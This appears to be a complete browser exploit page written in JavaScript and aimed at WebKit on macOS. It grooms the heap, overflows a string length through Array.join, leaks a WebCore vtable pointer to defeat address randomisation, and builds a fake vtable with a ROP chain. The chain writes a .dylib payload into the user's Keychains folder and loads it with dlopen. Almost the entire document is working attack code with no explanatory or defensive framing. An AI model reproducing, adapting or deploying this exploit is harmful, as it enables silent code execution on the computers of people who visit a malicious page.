<script src="simple_speak_payload.js"></script>
|
|
<script>
|
|
target_object_size = 0x1a0;
|
/* how much slack space after each allocation? */
|
padding_len = 0x20;
|
|
function uint64(upper, lower){
|
var s = '';
|
for (var i = 0; i < 4; i++){
|
s += String.fromCharCode((lower >> (i*8)) & 0xff);
|
}
|
for (var i = 0; i < 4; i++){
|
s += String.fromCharCode((upper >> (i*8)) & 0xff);
|
}
|
return s;
|
}
|
|
function ign(){
|
return uint64(0, 0);
|
}
|
|
function read_dword(leak_string, offset){
|
var val = 0;
|
for (var i = 0; i < 4; i++){
|
val += target.charCodeAt(offset + i) << (i*8);
|
}
|
return val;
|
}
|
|
function get_string_address(leak_string, leak_elem, str){
|
var l = 0;
|
var u = 0;
|
var temp_elem = document.createElement("link");
|
temp_elem.setAttribute("type", str); //ensure that the reference count doesn't hit 0 by leaking temp_elem
|
holder.push(temp_elem);
|
leak_elem.setAttribute("type", str);
|
l = read_dword(leak_string, (target_object_size - 0x20) + padding_len + 0x160); //0x160 here is the offset of m_type
|
l += 0x20; //skip the header
|
u = read_dword(leak_string, (target_object_size - 0x20) + padding_len + 0x160 + 4);
|
return {'l': l, 'u': u};
|
}
|
|
|
/*
|
* return an 8 byte string corrisponding to the given offset from the base of the
|
* WebCore text segment
|
*/
|
function text(offset){
|
var lower = image_base_lower + offset;
|
var upper = image_base_upper;
|
return uint64(upper, lower);
|
}
|
|
/* pivot stack to rax */
|
var pivot = 0x1f6235;
|
|
/* load registers */
|
var pop_rdi__ret = 0x86389;
|
var pop_rsi__ret = 0x797d4;
|
var pop_rdx__ret = 0x2ef85;
|
var pop_rcx__ret = 0x2eb06;
|
|
/* nop */
|
var ret = 0x2eb07;
|
|
/* move registers */
|
var mov_rdi_rax__jmp_rcx = 0x8c6e4d;
|
|
/* symbol stubs to call imported functions */
|
/* otool -arch x86_64 -IV <library> */
|
var open = 0xdb127a;
|
var write = 0xdb139a;
|
var dlopen = 0xdb1154;
|
var usleep = 0xdb137c;
|
|
/** rop to drop a .dylib to disk and dlopen it **/
|
|
function rop(library_name_address,
|
dylib_contents_address,
|
dylib_contents_length){
|
var r = '';
|
|
r += ign(); //pop rbp
|
|
/*** int fd = open(library_name_address, O_RDWR | O_CREAT, 0755); ***/
|
|
/* rdi: pointer to the library name */
|
r += text(pop_rdi__ret);
|
r += uint64(library_name_address.u, library_name_address.l);
|
|
/* rsi: oflag */
|
r += text(pop_rsi__ret);
|
r += uint64(0, 0x202); //O_RDWR | O_CREAT
|
|
/* rdx: mode */
|
r += text(pop_rdx__ret);
|
r += uint64(0, 0755); //rwxr-xr-x
|
|
r += text(open);
|
|
/*** write(fd, dylib_contents, dylib_contents_length); ***/
|
|
/* rdx: length of the dylib contents */
|
r += text(pop_rdx__ret);
|
r += uint64(0, dylib_contents_length);
|
|
/* these nops are here so that we can safely put the pivot address at the correct offset */
|
/* since this rop stack will also be the vtable */
|
r += text(ret);
|
r += text(pop_rdi__ret);
|
r += text(pivot); //address of pivot in vtable (+0x60)
|
|
/* rax is the fd for the open'd file - move it to rdi so it will be the first arg for the write: */
|
r += text(pop_rcx__ret);
|
r += text(pop_rsi__ret); //jmp to this the continue after the next gadget:
|
|
r += text(mov_rdi_rax__jmp_rcx);
|
r += ign(); //pop rbp
|
/* rsi: address of the dylib contents */
|
r += uint64(dylib_contents_address.u, dylib_contents_address.l);
|
|
r += text(write);
|
|
/*** dlopen(library_name_address, RTLD_NOW); ***/
|
|
r += text(pop_rdi__ret);
|
r += uint64(library_name_address.u, library_name_address.l);
|
|
r += text(pop_rsi__ret);
|
r += uint64(0, 2); //RTLD_NOW
|
|
r += text(ret); // dlopen uses some xmm instruction which require 16-byte stack alignment
|
|
r += text(dlopen);
|
|
/*** usleep(0xffffffff) ***/
|
|
r += text(pop_rdi__ret);
|
r += uint64(0, 0xffffffff);
|
|
r += text(usleep);
|
|
return r;
|
}
|
|
function pow2str(p, b) {
|
var str = String.fromCharCode(b);
|
for (; p; p--){
|
str += str;
|
}
|
return str;
|
}
|
|
function alloc(n, b) {
|
var res = '';
|
for(var i = 0; i < 32; i++){
|
if(n & 0x1)
|
res += pow2str(i, b);
|
n >>= 1;
|
}
|
//flatten
|
res[0];
|
return res;
|
}
|
|
holder = [];
|
|
function gc(){
|
var h = [];
|
for(var i = 0; i < 10000; i++){
|
h[i] = alloc(400, 0x20);
|
}
|
holder.push(h);
|
}
|
|
|
string_header_size = 0x20;
|
target_size_bytes = target_object_size;
|
target_size_string_len = target_size_bytes - string_header_size;
|
|
unbound_payload = uint64(0xffffff00, 2); //"\x02\x00\x00\x00\x00\xff\xff\xff";
|
overwrite_string = alloc((target_size_string_len) + (2*target_size_bytes) + (3*padding_len), 0) + unbound_payload;
|
holder.push(overwrite_string[0]);
|
|
target_len = 0x100000000 //overflow
|
+ target_size_bytes //target object size (in bytes)
|
- 0x20 //minus string header size
|
- overwrite_string.length; //minus the length of the first string
|
|
//alert("target_len:" + target_len);
|
|
t = (target_size_string_len - 1) + (target_size_string_len);
|
//make the separator the longer one so that we can swap out some of the shorter strings
|
//in the to_join array for longer ones to get the correct length:
|
n = Math.floor(target_len / t);
|
|
//how much shorter is that compared to the desired length?
|
shorter_by = target_len - (n*t);
|
|
//swap shorter_by shorter string for longer ones
|
m = shorter_by; //number of longer strings in the array
|
n = n-m; //number of shorter strings
|
|
to_join = []; //call to_join.join(s1) outside this after this is joined
|
//to_join.push(overwrite_string);
|
|
function build_to_join() {
|
to_join.length = 0;
|
to_join.push(overwrite_string);
|
for (var i = 0; i < m; i++){
|
to_join.push(s1);
|
}
|
|
for (var i = 0; i < n; i++){
|
to_join.push(s0);
|
}
|
return 'a';
|
}
|
s0 = 'a';
|
s1 = 'b';
|
build_to_join();
|
build_to_join();
|
build_to_join();
|
|
//have to make sure that doesn't get compiled during the call
|
var force_alloc_and_free = {
|
toString: build_to_join
|
};
|
|
var force_arr = [];
|
force_arr.push(force_alloc_and_free);
|
for (var i = 1; i < target_object_size/8; i++){
|
force_arr.push('');
|
}
|
|
for(var i = 0; i < 1635; i++){
|
holder.push(alloc(target_size_string_len, 1));
|
}
|
|
elem = document.createElement("link");
|
target = alloc(target_size_string_len, 2);
|
s1 = alloc(target_size_string_len, 3);
|
s0 = alloc(target_size_string_len - 1, 4);
|
|
Math.acos(target);
|
Math.acos(s1);
|
Math.acos(s0);
|
force_arr.join(); //will make a 0x1a0 byte allocation, call toString on force_alloc_and_free and free the 0x1a0 byte allocation at the end
|
|
to_join.join(s1);
|
|
|
|
// the ROP stack uses a hardcoded username - easy to fix though
|
var library_name = "/Users/user/Library/Keychains/simple_speak_payload.dylib\x00";
|
var library_name_address = get_string_address(target, elem, library_name);
|
//alert(library_name_address.l);
|
|
var payload_address = get_string_address(target, elem, payload);
|
//alert(payload_address.l);
|
|
|
// read the vtable pointer
|
var leaked_ptr_lower = read_dword(target, target_size_string_len + padding_len);
|
|
image_base_lower = leaked_ptr_lower - 0xf12ac0; //subtract the offset of the vtable
|
|
image_base_upper = 0x00000001; //the nightly build isn't using a system library so it's loaded low
|
|
/** build the fake vtable + ROP chain **/
|
|
fake_vtable_string = rop(library_name_address, payload_address, payload_len);
|
|
fake_vtable_address = get_string_address(target, elem, fake_vtable_string);
|
|
|
|
/** go again **/
|
|
payload2 = uint64(fake_vtable_address.u, fake_vtable_address.l);
|
overwrite_string2 = alloc((target_size_string_len) + (2*target_size_bytes) + (3*padding_len), 0) + payload2;
|
holder.push(overwrite_string2[0]);
|
|
target_len2 = 0x100000000 //overflow
|
+ target_size_bytes //target object size (in bytes)
|
- 0x20 //minus string header size
|
- overwrite_string2.length; //minus the length of the first string
|
|
//alert("target_len:" + target_len);
|
|
t2 = (target_size_string_len) + (target_size_string_len - 1);
|
//make the separator the longer one so that we can swap out some of the shorter strings
|
//in the to_join array for longer ones to get the correct length:
|
n2 = Math.floor(target_len2 / t2);
|
|
//how much shorter is that compared to the desired length?
|
shorter_by2 = target_len2 - (n2*t2);
|
|
//swap shorter_by shorter string for longer ones
|
m2 = shorter_by2; //number of longer strings in the array
|
n2 = n2-m2; //number of shorter strings
|
|
to_join2 = [];
|
|
function build_to_join2(){
|
to_join2.length = 0;
|
to_join2.push(overwrite_string2);
|
for (var i = 0; i < m2; i++){
|
to_join2.push(s2_1);
|
}
|
|
for (var i = 0; i < n2; i++){
|
to_join2.push(s2_0);
|
}
|
return 'a';
|
}
|
|
s2_0 = 'a';
|
s2_1 = 'b';
|
build_to_join2();
|
build_to_join2();
|
build_to_join2();
|
|
//have to make sure that doesn't get compiled during the call
|
var force_alloc_and_free2 = {
|
toString: build_to_join2
|
};
|
|
var force_arr2 = [];
|
force_arr2.push(force_alloc_and_free2);
|
for (var i = 1; i < target_object_size/8; i++){
|
force_arr2.push('');
|
}
|
|
gc();
|
gc();
|
gc();
|
|
for(var i = 0; i < 414; i++){
|
holder.push(alloc(target_size_string_len, 1));
|
}
|
|
elem2 = document.createElement("link");
|
s2_1 = alloc(target_size_string_len, 3);
|
s2_0 = alloc(target_size_string_len - 1, 4);
|
|
//Math.acos(elem2);
|
Math.acos(s2_1);
|
Math.acos(s2_0);
|
force_arr2.join();
|
|
to_join2.join(s2_1);
|
|
</script>
|
|